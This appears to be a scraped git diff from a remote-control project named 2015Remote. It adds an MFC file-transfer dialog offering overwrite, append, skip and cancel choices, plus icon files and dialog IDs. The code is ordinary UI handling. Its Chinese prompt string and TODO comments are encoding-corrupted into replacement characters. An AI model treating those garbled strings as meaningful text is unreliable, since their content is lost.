void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_OVERWRITE, &CFileTransferModeDlg::OnBnClickedOverwrite)
|
||||
ON_BN_CLICKED(IDC_OVERWRITE_ALL, &CFileTransferModeDlg::OnBnClickedOverwriteAll)
|
||||
ON_BN_CLICKED(IDC_ADDITION, &CFileTransferModeDlg::OnBnClickedAddition)
|
||||
ON_BN_CLICKED(IDC_ADDITION_ALL, &CFileTransferModeDlg::OnBnClickedAdditionAll)
|
||||
ON_BN_CLICKED(IDC_JUMP, &CFileTransferModeDlg::OnBnClickedJump)
|
||||
ON_BN_CLICKED(IDC_JUMP_ALL, &CFileTransferModeDlg::OnBnClickedJumpAll)
|
||||
ON_BN_CLICKED(IDC_CANCEL, &CFileTransferModeDlg::OnBnClickedCancel)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg message handlers
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||
{
|
||||
EndDialog(id);
|
||||
}
|
||||
|
||||
BOOL CFileTransferModeDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CString str;
|
||||
str.Format(_T("<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѱ<EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD>%s<><73><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"), m_strFileName);
|
||||
|
||||
for (int i = 0; i < str.GetLength(); i += 120) {
|
||||
str.Insert(i, _T("\n"));
|
||||
i += 1;
|
||||
}
|
||||
|
||||
SetDlgItemText(IDC_TIPS, str);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedOverwrite()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_OVERWRITE);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedOverwriteAll()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_OVERWRITE_ALL);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedAddition()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_ADDITION);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedAdditionAll()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_ADDITION_ALL);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedJump()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_JUMP);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedJumpAll()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_JUMP_ALL);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedCancel()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_CANCEL);
|
||||
}
|
||||
31
server/2015Remote/file/CFileTransferModeDlg.h
Normal file
@@ -0,0 +1,31 @@
|
||||
|
||||
#pragma once
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg dialog
|
||||
|
||||
namespace file {
|
||||
|
||||
class CFileTransferModeDlg : public CDialog
|
||||
{
|
||||
public:
|
||||
CString m_strFileName;
|
||||
CFileTransferModeDlg(CWnd* pParent = NULL);
|
||||
|
||||
enum { IDD = IDD_TRANSFERMODE_DLG };
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
protected:
|
||||
afx_msg void OnEndDialog(UINT id);
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnBnClickedOverwrite();
|
||||
afx_msg void OnBnClickedOverwriteAll();
|
||||
afx_msg void OnBnClickedAddition();
|
||||
afx_msg void OnBnClickedAdditionAll();
|
||||
afx_msg void OnBnClickedJump();
|
||||
afx_msg void OnBnClickedJumpAll();
|
||||
afx_msg void OnBnClickedCancel();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
}
|
||||
BIN
server/2015Remote/res/file/FILE.ico
Normal file
|
After Width: | Height: | Size: 894 B |
BIN
server/2015Remote/res/file/Icon_A.ico
Normal file
|
After Width: | Height: | Size: 25 KiB |
BIN
server/2015Remote/res/file/Icon_C.ico
Normal file
|
After Width: | Height: | Size: 24 KiB |
BIN
server/2015Remote/res/file/Icon_D.ico
Normal file
|
After Width: | Height: | Size: 44 KiB |
BIN
server/2015Remote/res/file/Icon_E.ico
Normal file
|
After Width: | Height: | Size: 25 KiB |
BIN
server/2015Remote/res/file/Icon_F.ico
Normal file
|
After Width: | Height: | Size: 25 KiB |
BIN
server/2015Remote/res/file/Icon_G.ico
Normal file
|
After Width: | Height: | Size: 25 KiB |
@@ -82,6 +82,7 @@
|
||||
#define WM_OPENMACHINEMGRDLG WM_USER+3016
|
||||
#define WM_OPENCHATDIALOG WM_USER+3017
|
||||
#define WM_OPENDECRYPTDIALOG WM_USER+3018
|
||||
#define WM_OPENFILEMGRDIALOG WM_USER+3019
|
||||
|
||||
enum
|
||||
{
|
||||
@@ -101,6 +102,7 @@ enum
|
||||
MACHINE_DLG,
|
||||
CHAT_DLG,
|
||||
DECRYPT_DLG,
|
||||
FILEMGR_DLG,
|
||||
};
|
||||
|
||||
|
||||
|
||||